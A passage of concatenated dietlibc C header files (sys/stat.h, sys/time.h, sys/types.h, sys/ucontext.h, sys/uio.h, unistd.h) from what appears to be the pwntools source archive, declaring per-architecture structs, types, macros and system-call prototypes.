st_ino; }; #elif defined(__hppa__) struct stat { unsigned long st_dev; /* dev_t is 32 bits on parisc */ unsigned long st_ino; /* 32 bits */ uint16_t st_mode; /* 16 bits */ uint16_t st_nlink; /* 16 bits */ uint16_t st_reserved1; /* old st_uid */ uint16_t st_reserved2; /* old st_gid */ unsigned long st_rdev; unsigned long st_size; time_t st_atime; unsigned long st_atime_nsec; time_t st_mtime; unsigned long st_mtime_nsec; time_t st_ctime; unsigned long st_ctime_nsec; long st_blksize; long st_blocks; unsigned long __unused1; /* ACL stuff */ unsigned long __unused2; /* network */ unsigned long __unused3; /* network */ unsigned long __unused4; /* cnodes */ uint16_t __unused5; /* netsite */ int16_t st_fstype; unsigned long st_realdev; uint16_t st_basemode; uint16_t st_spareshort; unsigned long st_uid; unsigned long st_gid; unsigned long st_spare4[3]; }; struct stat64 { unsigned long long st_dev; uint32_t __pad1; #define STAT64_HAS_BROKEN_ST_INO 1 unsigned long __st_ino; unsigned long st_mode; unsigned long st_nlink; unsigned long st_uid; unsigned long st_gid; unsigned long long st_rdev; uint32_t __pad2; unsigned long long st_size; unsigned long st_blksize; unsigned long long st_blocks; time_t st_atime; unsigned long st_atime_nsec; time_t st_mtime; unsigned long st_mtime_nsec; time_t st_ctime; unsigned long st_ctime_nsec; unsigned long long st_ino; }; #elif defined(__x86_64__) && !defined(__ILP32__) struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; uint32_t st_mode; uint32_t st_uid; uint32_t st_gid; uint32_t __pad0; unsigned long st_rdev; unsigned long st_size; unsigned long st_blksize; unsigned long st_blocks; time_t st_atime; unsigned long st_atime_nsec; time_t st_mtime; unsigned long st_mtime_nsec; time_t st_ctime; unsigned long st_ctime_nsec; long __unused[3]; }; #elif defined(__x86_64__) /* for X32 */ struct stat { uint64_t st_dev, st_ino, st_nlink; uint32_t st_mode, st_uid, st_gid, __pad0; uint64_t st_rdev; int64_t st_size, st_blksize, st_blocks; time_t st_atime; uint64_t st_atime_nsec; time_t st_mtime; uint64_t st_mtime_nsec; time_t st_ctime; uint64_t st_ctime_nsec; uint64_t __unused[3]; }; #elif defined(__ia64__) struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; uint32_t st_mode; uint32_t st_uid; uint32_t st_gid; uint32_t __pad; unsigned long st_rdev; unsigned long st_size; time_t st_atime; unsigned long reserved; time_t st_mtime; unsigned long reserved2; time_t st_ctime; unsigned long reserved3; unsigned long st_blksize; long st_blocks; unsigned long pad[3]; }; #endif #define S_IFMT 00170000 #define S_IFSOCK 0140000 #define S_IFLNK 0120000 #define S_IFREG 0100000 #define S_IFBLK 0060000 #define S_IFDIR 0040000 #define S_IFCHR 0020000 #define S_IFIFO 0010000 #define S_ISUID 0004000 #define S_ISGID 0002000 #define S_ISVTX 0001000 #define S_ISLNK(m) (((m) & S_IFMT) == S_IFLNK) #define S_ISREG(m) (((m) & S_IFMT) == S_IFREG) #define S_ISDIR(m) (((m) & S_IFMT) == S_IFDIR) #define S_ISCHR(m) (((m) & S_IFMT) == S_IFCHR) #define S_ISBLK(m) (((m) & S_IFMT) == S_IFBLK) #define S_ISFIFO(m) (((m) & S_IFMT) == S_IFIFO) #define S_ISSOCK(m) (((m) & S_IFMT) == S_IFSOCK) #define S_IRWXU 00700 #define S_IRUSR 00400 #define S_IWUSR 00200 #define S_IXUSR 00100 #define S_IRWXG 00070 #define S_IRGRP 00040 #define S_IWGRP 00020 #define S_IXGRP 00010 #define S_IRWXO 00007 #define S_IROTH 00004 #define S_IWOTH 00002 #define S_IXOTH 00001 extern int stat(const char *__file, struct stat *__buf) __THROW; extern int fstat(int __fd, struct stat *__buf) __THROW; extern int lstat(const char *__file, struct stat *__buf) __THROW; #if (__WORDSIZE == 64) || defined(__OFF_T_MATCHES_OFF64_T) #define __NO_STAT64 #else extern int stat64(const char *__file, struct stat64 *__buf) __THROW; extern int fstat64(int __fd, struct stat64 *__buf) __THROW; extern int lstat64(const char *__file, struct stat64 *__buf) __THROW; #if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64 #define lstat lstat64 #define fstat fstat64 #define stat stat64 #define pread pread64 #define pwrite pwrite64 #endif #endif #define major(dev) ({ unsigned long long l=(dev); ((l>>8) & 0xfff) | (l >> 32) & 0xfffff000; }) #define minor(dev) ({ unsigned long long l=(dev); (l & 0xff) | ((l>>12)&0xffffff00); }) #define makedev(maj,min) ({ unsigned long long a=(maj), i=(min); ((a&0xfff)<<8) | (i&0xff) | ((a&~0xfff)<<32) | ((i&0xfffff00)<<12); }) extern int chmod (const char *__file, mode_t __mode) __THROW; extern int fchmod (int __fd, mode_t __mode) __THROW; extern mode_t umask (mode_t __mask) __THROW; extern int mkdir (const char *__path, mode_t __mode) __THROW; extern int mknod (const char *__path, mode_t __mode, dev_t __dev) __THROW; extern int mkfifo (const char *__path, mode_t __mode) __THROW; #define S_IREAD S_IRUSR #define S_IWRITE S_IWUSR #define S_IEXEC S_IXUSR #if defined(_ATFILE_SOURCE) || ((_XOPEN_SOURCE + 0) >= 700) || ((_POSIX_C_SOURCE + 0) >= 200809L) /* also include fcntl.h for the AT_* constants */ int fchmodat(int dirfd, const char *pathname, mode_t mode, int flags) __THROW; int fstatat(int dirfd, const char *pathname, struct stat *buf, int flags) __THROW; int mkdirat(int dirfd, const char *pathname, mode_t mode) __THROW; int mknodat(int dirfd, const char *pathname, mode_t mode, dev_t dev) __THROW; int mkfifoat(int dirfd, const char *pathname, mode_t mode) __THROW; int utimensat(int dirfd, const char *pathname, struct timespec* t,int flags) __THROW; #endif __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sys/time.h000066400000000000000000000046601507273764500302210ustar00rootroot00000000000000#ifndef _SYS_TIME_H #define _SYS_TIME_H 1 #include #include __BEGIN_DECLS struct timespec { time_t tv_sec; /* seconds */ long tv_nsec; /* nanoseconds */ }; struct timeval { time_t tv_sec; /* seconds */ suseconds_t tv_usec; /* microseconds */ }; struct timezone { int tz_minuteswest; /* minutes west of Greenwich */ int tz_dsttime; /* type of dst correction */ }; #include #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 struct itimerspec { struct timespec it_interval; /* timer period */ struct timespec it_value; /* timer expiration */ }; struct itimerval { struct timeval it_interval; /* timer interval */ struct timeval it_value; /* current value */ }; #if defined _GNU_SOURCE || defined _BSD_SOURCE typedef struct timezone *__timezone_ptr_t; #else typedef void *__timezone_ptr_t; #endif int getitimer(int which, struct itimerval *value) __THROW; int setitimer(int which, const struct itimerval *value, struct itimerval *ovalue) __THROW; int gettimeofday(struct timeval *tv, struct timezone *tz) __THROW; int settimeofday(const struct timeval *tv , const struct timezone *tz) __THROW; extern int adjtime (const struct timeval *delta, struct timeval *olddelta) __THROW; struct tm { int tm_sec; /* Seconds. [0-60] (1 leap second) */ int tm_min; /* Minutes. [0-59] */ int tm_hour; /* Hours. [0-23] */ int tm_mday; /* Day. [1-31] */ int tm_mon; /* Month. [0-11] */ int tm_year; /* Year - 1900. */ int tm_wday; /* Day of week. [0-6] */ int tm_yday; /* Days in year.[0-365] */ int tm_isdst; /* DST. [-1/0/1]*/ long int tm_gmtoff; /* Seconds east of UTC. */ const char *tm_zone; /* Timezone abbreviation. */ }; #ifdef _BSD_SOURCE /* another wonderful BSD invention... :( */ #define timercmp(a,b,CMP) (((a)->tv_sec == (b)->tv_sec) ? ((a)->tv_usec CMP (b)->tv_usec) : ((a)->tv_sec CMP (b)->tv_sec)) #define timerclear(x) ((x)->tv_sec=(x)->tv_usec=0) #define timeradd(a,b,x) do { (x)->tv_sec=(a)->tv_sec+(b)->tv_sec; if (((x)->tv_usec=(a)->tv_usec+(b)->tv_usec)>=1000000) { ++(x)->tv_sec; (x)->tv_usec-=1000000; } } while (0) #define timersub(a,b,x) do { (x)->tv_sec=(a)->tv_sec-(b)->tv_sec; if (((x)->tv_usec=(a)->tv_usec-(b)->tv_usec)<0) { --(x)->tv_sec; (x)->tv_usec+=1000000; } } while (0) #define timerisset(x) ((x)->tv_sec || (x)->tv_usec) #endif int utimes(const char * filename, struct timeval * tvp) __THROW; __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sys/types.h000066400000000000000000000134231507273764500304240ustar00rootroot00000000000000#ifndef _SYS_TYPES_H #define _SYS_TYPES_H #include #include __BEGIN_DECLS typedef unsigned long int blkcnt_t; /* Used for file block counts */ typedef unsigned long int blksize_t; /* Used for block sizes */ typedef unsigned long int clock_t; /* Used for system times in clock ticks or CLOCKS_PER_SEC (see ). */ typedef uint64_t fsblkcnt_t; typedef uint64_t fsfilcnt_t; /* TODO: pthread_attr_t Used to identify a thread attribute object. pthread_cond_t Used for condition variables. pthread_condattr_t Used to identify a condition attribute object. pthread_key_t Used for thread-specific data keys. pthread_mutex_t Used for mutexes. pthread_mutexattr_t Used to identify a mutex attribute object. pthread_once_t Used for dynamic package initialisation. pthread_rwlock_t Used for read-write locks. pthread_rwlockattr_t Used for read-write lock attributes. pthread_t Used to identify a thread. */ #if defined(__alpha__) || defined(__ia64__) || defined(__sparc64__) || defined(__s390x__) || defined(__aarch64__) typedef uint32_t dev_t; /* Used for device IDs. */ typedef uint32_t gid_t; /* Used for group IDs. */ typedef uint32_t mode_t; /* Used for some file attributes. */ typedef uint32_t nlink_t; /* Used for link counts. */ typedef uint32_t uid_t; /* Used for user IDs. */ #elif defined(__arm__) || defined(__i386__) || defined(__sparc__) || defined(__s390__) /* make sure __s390x__ hits before __s390__ */ typedef uint32_t dev_t; typedef uint16_t gid_t; typedef uint16_t mode_t; typedef uint16_t nlink_t; typedef uint16_t uid_t; #elif defined(__hppa__) typedef uint32_t dev_t; typedef uint32_t gid_t; typedef uint16_t mode_t; typedef uint16_t nlink_t; typedef uint32_t uid_t; #elif defined(__mips__) typedef uint32_t dev_t; typedef int32_t gid_t; typedef uint32_t mode_t; typedef int32_t nlink_t; typedef int32_t uid_t; #elif defined(__powerpc__) && !defined(__powerpc64__) typedef uint32_t dev_t; typedef uint32_t gid_t; typedef uint32_t mode_t; typedef uint16_t nlink_t; typedef uint32_t uid_t; #elif defined(__powerpc64__) || defined(__x86_64__) typedef unsigned long dev_t; typedef uint32_t gid_t; typedef uint32_t mode_t; typedef unsigned long nlink_t; typedef uint32_t uid_t; #endif typedef int32_t id_t; /* Used as a general identifier; can be used to contain at least a pid_t, uid_t or a gid_t. */ typedef unsigned long ino_t; /* Used for file serial numbers. */ typedef int32_t key_t; /* Used for interprocess communication. */ typedef int32_t pid_t; /* Used for process IDs and process group IDs. */ #ifdef __SIZE_TYPE__ /* horrible kludge to make sure size_t and ssize_t are both long or both int */ #define unsigned signed typedef __SIZE_TYPE__ ssize_t; #undef unsigned #else typedef signed long ssize_t; /* Used for a count of bytes or an error indication. */ #endif #if (defined(__sparc__) && (__arch64__)) || defined(__sparcv9) /* sparc64 has 32bit suseconds_t for some reason, even though struct * timeval is padded to 16 bytes anyway. */ typedef signed int suseconds_t; /* Used for time in microseconds. */ typedef signed int useconds_t; /* Used for time in microseconds. */ #else typedef signed long suseconds_t; /* Used for time in microseconds. */ typedef signed long useconds_t; /* Used for time in microseconds. */ #endif #if defined(__x86_64__) && defined(__ILP32__) typedef signed long long time_t; #else typedef signed long time_t; /* Used for time in seconds. */ #endif /* non-susv2 types: */ __extension__ typedef signed long long loff_t; /* 64-bit offset */ __extension__ typedef signed long long off64_t; #if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64 typedef off64_t off_t; #else #if defined(__x86_64__) && defined(__ILP32__) typedef off64_t off_t; #else typedef signed long off_t; /* Used for file sizes. */ #endif #endif __extension__ typedef unsigned long long ino64_t; __extension__ typedef signed long long blkcnt64_t; typedef uint32_t uid32_t; typedef uint32_t gid32_t; typedef int32_t clockid_t; typedef int32_t timer_t; typedef long int fpos_t; #define __socklen_t_defined typedef uint32_t socklen_t; typedef uint16_t sa_family_t; #ifdef _BSD_SOURCE /* die, BSD, die! */ typedef char* caddr_t __attribute_dontuse__; typedef unsigned char u_char __attribute_dontuse__; typedef unsigned short u_short __attribute_dontuse__; typedef unsigned int u_int __attribute_dontuse__; typedef unsigned char uchar __attribute_dontuse__; typedef unsigned short ushort __attribute_dontuse__; typedef unsigned int uint __attribute_dontuse__; typedef unsigned long u_long __attribute_dontuse__; typedef uint32_t n_long __attribute_dontuse__; typedef uint32_t n_time __attribute_dontuse__; typedef uint16_t n_short __attribute_dontuse__; typedef unsigned long ulong __attribute_dontuse__; typedef uint32_t nlong __attribute_dontuse__; typedef uint32_t ntime __attribute_dontuse__; typedef uint16_t nshort __attribute_dontuse__; /* never heard of these two, but dump uses them */ #if !defined(__STRICT_ANSI__) || __STDC_VERSION__ + 0 >= 199900L typedef int64_t quad_t __attribute_dontuse__; typedef uint64_t u_quad_t __attribute_dontuse__; #endif typedef long daddr_t __attribute_dontuse__; typedef daddr_t __daddr_t __attribute_dontuse__; #endif #ifdef _GNU_SOURCE typedef uint8_t u_int8_t __attribute_dontuse__; typedef uint16_t u_int16_t __attribute_dontuse__; typedef uint32_t u_int32_t __attribute_dontuse__; #if !defined(__STRICT_ANSI__) || __STDC_VERSION__ + 0 >= 199900L typedef uint64_t u_int64_t __attribute_dontuse__; #endif #endif __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sys/ucontext.h000066400000000000000000000056121507273764500311320ustar00rootroot00000000000000#ifndef _SYS_UCONTEXT_H #define _SYS_UCONTEXT_H #include #include __BEGIN_DECLS #if !defined(__sparc__) && !defined(__sparc64__) typedef struct sigcontext mcontext_t; #endif #if defined(__i386__) || defined(__x86_64__) || defined(__arm__) || defined(__mips__) || defined(__mips64__) || defined(__powerpc__) || defined(__powerpc64__) || defined(__hppa__) struct ucontext { unsigned long uc_flags; struct ucontext *uc_link; stack_t uc_stack; struct sigcontext uc_mcontext; sigset_t uc_sigmask; /* mask last for extensibility */ #if defined(__i386__) || defined(__x86_64__) struct _fpstate __fpregs_mem; #endif }; #elif defined(__alpha__) struct ucontext { unsigned long uc_flags; struct ucontext *uc_link; unsigned long uc_osf_sigmask; stack_t uc_stack; struct sigcontext uc_mcontext; sigset_t uc_sigmask; /* mask last for extensibility */ }; #elif defined(__sparc__) || defined(__sparc64__) #define MC_TSTATE 0 #define MC_PC 1 #define MC_NPC 2 #define MC_Y 3 #define MC_G1 4 #define MC_G2 5 #define MC_G3 6 #define MC_G4 7 #define MC_G5 8 #define MC_G6 9 #define MC_G7 10 #define MC_O0 11 #define MC_O1 12 #define MC_O2 13 #define MC_O3 14 #define MC_O4 15 #define MC_O5 16 #define MC_O6 17 #define MC_O7 18 #define MC_NGREG 19 typedef unsigned long mc_greg_t; typedef mc_greg_t mc_gregset_t[MC_NGREG]; #define MC_MAXFPQ 16 struct mc_fq { unsigned long *mcfq_addr; unsigned int mcfq_insn; }; typedef struct mc_fpu { union { unsigned int sregs[32]; unsigned long dregs[32]; long double qregs[16]; } mcfpu_fregs; unsigned long mcfpu_fsr; unsigned long mcfpu_fprs; unsigned long mcfpu_gsr; struct mc_fq *mcfpu_fq; unsigned char mcfpu_qcnt; unsigned char mcfpu_qentsz; unsigned char mcfpu_enab; } mc_fpu_t; typedef struct { mc_gregset_t mc_gregs; mc_greg_t mc_fp; mc_greg_t mc_i7; mc_fpu_t mc_fpregs; } mcontext_t; struct ucontext { struct ucontext *uc_link; unsigned long uc_flags; unsigned long __uc_sigmask; mcontext_t uc_mcontext; stack_t uc_stack; sigset_t uc_sigmask; }; #elif defined(__s390__) struct ucontext { unsigned long uc_flags; struct ucontext *uc_link; stack_t uc_stack; _sigregs uc_mcontext; sigset_t uc_sigmask; /* mask last for extensibility */ }; #elif defined(__aarch64__) struct ucontext { unsigned long uc_flags; struct ucontext *uc_link; stack_t uc_stack; sigset_t uc_sigmask; mcontext_t uc_mcontext; }; #elif defined(__ia64__) /* oh my god is this ugly! --fefe*/ struct ucontext { struct sigcontext uc_mcontext; }; #define uc_link uc_mcontext.sc_gr[0] /* wrong type; nobody cares */ #define uc_sigmask uc_mcontext.sc_sigmask #define uc_stack uc_mcontext.sc_stack #else #error NEED TO PORT ! #endif typedef struct ucontext ucontext_t; __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sys/uio.h000066400000000000000000000011601507273764500300470ustar00rootroot00000000000000#ifndef _SYS_UIO #define _SYS_UIO 1 #include __BEGIN_DECLS struct iovec { void* iov_base; /* BSD uses caddr_t (1003.1g requires void *) */ size_t iov_len; /* Must be size_t (1003.1g) */ }; /* I have no idea why susv3 specifies count as int instead of size_t */ ssize_t readv(int filedes, const struct iovec *vector, int count) __THROW; ssize_t writev(int filedes, const struct iovec *vector, int count) __THROW; ssize_t preadv(int fd, const struct iovec *iov, int iovcnt, off_t offset) __THROW; ssize_t pwritev(int fd, const struct iovec *iov, int iovcnt, off_t offset) __THROW; __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/unistd.h000066400000000000000000000345651507273764500277620ustar00rootroot00000000000000#ifndef _UNISTD_H #define _UNISTD_H #include #include #include #include #include __BEGIN_DECLS extern int optind,opterr,optopt; extern char *optarg; __attribute__((__warn_unused_result__)) int getopt(int argc, char *const argv[], const char *options); /* Values for the second argument to access. These may be OR'd together. */ #define R_OK 4 /* Test for read permission. */ #define W_OK 2 /* Test for write permission. */ #define X_OK 1 /* Test for execute permission. */ #define F_OK 0 /* Test for existence. */ /* Test for access to NAME using the real UID and real GID. */ __attribute__((__warn_unused_result__)) int access (const char *__name, int __type) __THROW; #ifndef SEEK_SET #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #endif #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 off_t lseek(int fildes, off_t offset, int whence) __THROW; #if !defined(__OFF_T_MATCHES_OFF64_T) loff_t lseek64(int fildes, loff_t offset, int whence) __THROW; #if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64 #define lseek(fildes,offset,whence) lseek64(fildes,offset,whence) #endif #else #define lseek64(fildes,offset,whence) lseek(fildes,offset,whence) #endif int chdir(const char *path) __THROW; int fchdir(int fd) __THROW; int rmdir(const char *pathname) __THROW; __writememsz__(1,2) __attribute__((__warn_unused_result__)) char *getcwd(char *buf, size_t size) __THROW; #ifdef _GNU_SOURCE __attribute__((__warn_unused_result__)) __attribute_dontuse__ char *get_current_dir_name (void) __THROW; __attribute__((__warn_unused_result__)) int pipe2(int pipefd[2], int flags) __THROW; #endif __attribute__((__warn_unused_result__)) int open(const char* pathname,int flags, ...) __THROW; __attribute__((__warn_unused_result__)) int open64(const char* pathname,int flags, ...) __THROW; __attribute__((__warn_unused_result__)) int creat(const char* pathname,mode_t mode) __THROW; __attribute__((__warn_unused_result__)) int creat64(const char* pathname,mode_t mode) __THROW; __readmemsz__(2,3) ssize_t write(int fd,const void* buf,size_t len) __THROW; __attribute__((__warn_unused_result__)) __writememsz__(2,3) ssize_t read(int fd,void* buf,size_t len) __THROW; // technically this should be __warn_unused_result__ too because on NFS // you only know that the data has actually reached the server if the // close comes back successful. OTOH NFS is almost dead, and this would // give a ton of annoying warnings. int close(int fd) __THROW; int unlink(const char *pathname) __THROW; __attribute__((__warn_unused_result__)) __writememsz__(2,3) ssize_t pread(int fd, void *buf, size_t count, off_t offset); __readmemsz__(2,3) ssize_t pwrite(int fd, const void *buf, size_t count, off_t offset); __attribute__((__warn_unused_result__)) __writememsz__(2,3) ssize_t pread64(int fd, void *buf, size_t count, off64_t offset); __readmemsz__(2,3) ssize_t pwrite64(int fd, const void *buf, size_t count, off64_t offset); int execve(const char *filename, char *const argv [], char *const envp[]) __THROW; int execlp(const char *file, const char *arg, ...) __THROW; int execv(const char *path, char *const argv[]) __THROW; int execvp(const char *file, char *const argv[]) __THROW; int execl(const char *path, const char* arg, ...) __THROW; int execle(const char *path, const char* arg, ...) __THROW; __attribute__((__warn_unused_result__)) pid_t getpid(void) __THROW __pure; __attribute__((__warn_unused_result__)) pid_t getppid(void) __THROW __pure; int setpgid (pid_t pid,pid_t pgid) __THROW; pid_t getpgid (pid_t pid) __THROW; __attribute__((__warn_unused_result__)) int setpgrp (void) __THROW; __attribute__((__warn_unused_result__)) pid_t getpgrp (void) __THROW; __attribute__((__warn_unused_result__)) pid_t getsid(pid_t pid) __THROW; __attribute__((__warn_unused_result__)) pid_t setsid (void) __THROW; // even if you just closed an fd and know the new fd this could still // fail because the file descriptor table is full and you need to check // the result __attribute__((__warn_unused_result__)) int dup (int oldfd) __THROW; __attribute__((__warn_unused_result__)) int dup2 (int oldfd,int newfd) __THROW; #ifdef _GNU_SOURCE __attribute__((__warn_unused_result__)) int dup3(int oldfd, int newfd, int flags) __THROW; /* flags for memfd_create(2) (unsigned int) */ #define MFD_CLOEXEC 0x0001U #define MFD_ALLOW_SEALING 0x0002U __attribute__((__warn_unused_result__)) int memfd_create(const char* name, unsigned int flags) __THROW; int syncfs(int fd) __THROW; #endif struct dirent; struct dirent64; __attribute__((__warn_unused_result__)) int getdents(int fd, struct dirent *dirp, unsigned int count) __THROW; __attribute__((__warn_unused_result__)) int getdents64(int fd, struct dirent64 *dirp, unsigned int count) __THROW; __attribute__((__warn_unused_result__)) pid_t fork(void) __THROW; __attribute__((__warn_unused_result__)) pid_t vfork(void) __THROW; __attribute__((__warn_unused_result__)) __writememsz__(2,3) int readlink(const char *path, char *buf, size_t bufsiz) __THROW; __attribute__((__warn_unused_result__)) int symlink(const char *oldpath, const char *newpath) __THROW; __attribute__((__warn_unused_result__)) int link(const char *oldpath, const char *newpath) __THROW; __attribute__((__warn_unused_result__)) int chown(const char *path, uid_t owner, gid_t group) __THROW; __attribute__((__warn_unused_result__)) int fchown(int fd, uid_t owner, gid_t group) __THROW; __attribute__((__warn_unused_result__)) int lchown(const char *path, uid_t owner, gid_t group) __THROW; // if you do not check the return value you might as well not call fsync // in the first place __attribute__((__warn_unused_result__)) int fsync(int fd) __THROW; #define _POSIX_SYNCHRONIZED_IO __attribute__((__warn_unused_result__)) int fdatasync(int fd) __THROW; __attribute__((__warn_unused_result__)) int pipe(int filedes[2]) __THROW; __attribute__((__warn_unused_result__)) char *ttyname (int desc) __THROW; __attribute__((__warn_unused_result__)) int brk(void *end_data_segment) __THROW; __attribute__((__warn_unused_result__)) void *sbrk(ptrdiff_t increment) __THROW; __writememsz__(1,2) int gethostname(char *name, size_t len) __THROW; __attribute__((__warn_unused_result__)) __readmemsz__(1,2) int sethostname(const char *name, size_t len) __THROW; int usleep(unsigned long useconds) __THROW; unsigned int sleep(unsigned int seconds) __THROW; unsigned int alarm(unsigned int seconds) __THROW; int sync(void) __THROW; __attribute__((__warn_unused_result__)) int isatty(int desc) __THROW; void _exit(int status) __THROW __attribute__((__noreturn__)); __attribute__((__warn_unused_result__)) int daemon(int nochdir,int noclose) __THROW; int pause(void) __THROW; __attribute__((__warn_unused_result__)) char* getlogin(void) __THROW; /* warning: the diet libc getlogin() simply returns getenv("LOGNAME") */ __attribute__((__warn_unused_result__)) int chroot(const char *path) __THROW; __attribute__((__warn_unused_result__)) uid_t getuid(void) __THROW; __attribute__((__warn_unused_result__)) uid_t geteuid(void) __THROW; __attribute__((__warn_unused_result__)) gid_t getgid(void) __THROW; __attribute__((__warn_unused_result__)) gid_t getegid(void) __THROW; __attribute__((__warn_unused_result__)) int setuid(uid_t uid) __THROW; /* int seteuid(uid_t uid) __THROW; */ int setgid(gid_t gid) __THROW; /* int setegid(gid_t gid) __THROW; */ __attribute__((__warn_unused_result__)) int setregid(gid_t rgid, gid_t egid) __THROW; __attribute__((__warn_unused_result__)) int setreuid(uid_t ruid, uid_t euid) __THROW; #define seteuid(euid) setreuid(-1,euid) #define setegid(egid) setregid(-1,egid) // if this is your file (you created it or have it open), use ftruncate instead // otherwise you risk filesystem races with other processes __attribute__((__warn_unused_result__)) int truncate(const char *path, off_t length) __THROW; int ftruncate(int fd, off_t length) __THROW; #if __WORDSIZE == 32 __attribute__((__warn_unused_result__)) int truncate64(const char *path, loff_t length) __THROW; int ftruncate64(int fd, loff_t length) __THROW; #endif int nice(int inc) __THROW; #ifdef _XOPEN_SOURCE __attribute__((__warn_unused_result__)) char *crypt(const char *key, const char *salt) __THROW; void encrypt(char block[64], int edflag) __THROW; void setkey(const char *key) __THROW; #endif #ifdef _GNU_SOURCE __attribute__((__warn_unused_result__)) char* md5crypt(const char* key, const char* salt) __THROW; __attribute__((__warn_unused_result__)) char* sha256_crypt(const char* key, const char* salt) __THROW; __attribute__((__warn_unused_result__)) char* sha512_crypt(const char* key, const char* salt) __THROW; #endif __attribute__((__warn_unused_result__)) int getpagesize(void) __THROW __attribute__((__const__)); __writememsz__(1,2) int getdomainname(char *name, size_t len) __THROW; __readmemsz__(1,2) int setdomainname(const char *name, size_t len) __THROW; __attribute__((__warn_unused_result__)) int getgroups(int size, gid_t list[]) __THROW; __attribute__((__warn_unused_result__)) int getdtablesize(void) __THROW; __attribute__((__warn_unused_result__)) char *getpass(const char * prompt) __THROW; /* warning: linux specific: */ int llseek(int fildes, unsigned long hi, unsigned long lo, loff_t* result,int whence) __THROW; /* include to get all the definitions! */ struct __sysctl_args; int _sysctl(struct __sysctl_args *args) __THROW; #define _CS_PATH 1 __writememsz__(2,3) size_t confstr(int name,char*buf,size_t len) __THROW; #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF _SC_NPROCESSORS_ONLN #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 __attribute__((__warn_unused_result__)) long sysconf(int name) __THROW; #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 __attribute__((__warn_unused_result__)) pid_t tcgetpgrp(int fd) __THROW; __attribute__((__warn_unused_result__)) int tcsetpgrp(int fd, pid_t pgrpid) __THROW; __writememsz__(1,2) int profil(unsigned short *buf, size_t bufsiz, size_t offset, unsigned int scale); /* Linux only: */ int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid) __THROW; int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid) __THROW; // Note: there are cases where setresuid() can fail even when the caller // is UID 0; it is a grave security error to omit checking for a // failure return from setresuid(). __attribute__((__warn_unused_result__)) int setresuid(uid_t ruid, uid_t euid, uid_t suid) __THROW; __attribute__((__warn_unused_result__)) int setresgid(gid_t rgid, gid_t egid, gid_t sgid) __THROW; /* 32-bit uid support */ int chown32(const char *path, uid32_t owner, gid32_t group) __THROW; int fchown32(int fd, uid32_t owner, gid32_t group) __THROW; int lchown32(const char *path, uid32_t owner, gid32_t group) __THROW; __attribute__((__warn_unused_result__)) uid32_t getuid32(void) __THROW; __attribute__((__warn_unused_result__)) uid32_t geteuid32(void) __THROW; __attribute__((__warn_unused_result__)) gid32_t getgid32(void) __THROW; __attribute__((__warn_unused_result__)) gid32_t getegid32(void) __THROW; __attribute__((__warn_unused_result__)) int setuid32(uid32_t uid) __THROW; int setgid32(gid32_t gid) __THROW; __attribute__((__warn_unused_result__)) int setreuid32(uid32_t ruid, uid32_t euid) __THROW; int setregid32(gid32_t rgid, gid32_t egid) __THROW; #define seteuid32(euid) setreuid32(-1,euid) #define setegid32(egid) setregid32(-1,egid) int getgroups32(int size, gid32_t list[]) __THROW; int getresuid32(uid32_t *ruid, uid32_t *euid, uid32_t *suid); int getresgid32(gid32_t *rgid, gid32_t *egid, gid32_t *sgid); __attribute__((__warn_unused_result__)) int setresuid32(uid32_t ruid, uid32_t euid, uid32_t suid) __THROW; int setresgid32(gid32_t rgid, gid32_t egid, gid32_t sgid) __THROW; #ifdef _BSD_SOURCE char *getusershell(void) __attribute_dontuse__; void setusershell(void) __attribute_dontuse__; void endusershell(void) __attribute_dontuse__; #endif /* this is so bad, we moved it to -lcompat */ #define L_cuserid 17 char* cuserid(char * string); /* ugh! */ #define _POSIX_VERSION 199506L #define F_ULOCK 0 /* Unlock a previously locked region. */ #define F_LOCK 1 /* Lock a region for exclusive use. */ #define F_TLOCK 2 /* Test and lock a region for exclusive use. */ #define F_TEST 3 /* Test a region for other processes locks. */ int lockf (int __fd, int __cmd, off_t __len) __THROW; int lockf64 (int __fd, int __cmd, off64_t __len) __THROW; __writememsz__(2,3) void swab(const void *src, void *dest, ssize_t nbytes) __THROW; int vhangup(void) __THROW; extern char **__environ; #if __WORDSIZE == 32 #if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64 #define open open64 #define creat creat64 #define truncate truncate64 #define ftruncate ftruncate64 #define getdents getdents64 #endif #endif #if defined(_LINUX_SOURCE) int pivot_root(const char *new_root, const char *put_old) __THROW; /* Linux 2.6 module loading infrastructure: * init_module takes a buffer where you read the module file into */ long init_module(void *module, unsigned long len, const char *options) __THROW; /* flags can be O_EXCL | O_NONBLOCK | O_TRUNC (forced unloading) * O_EXCL is there so the kernel can spot old rmmod versions */ long delete_module(const char* name,unsigned int flags) __THROW; pid_t gettid(void) __THROW __pure; int tkill(pid_t tid, int sig) __THROW; int tgkill(pid_t tgid, pid_t tid, int sig) __THROW; /* see linux/fadvise.h */ long fadvise64(int fd,off64_t offset,size_t len,int advice) __THROW; long fadvise64_64(int fd,off64_t offset,off64_t len,int advice) __THROW; #endif #if defined(_ATFILE_SOURCE) || ((_XOPEN_SOURCE + 0) >= 700) || ((_POSIX_C_SOURCE + 0) >= 200809L) /* also include fcntl.h for the 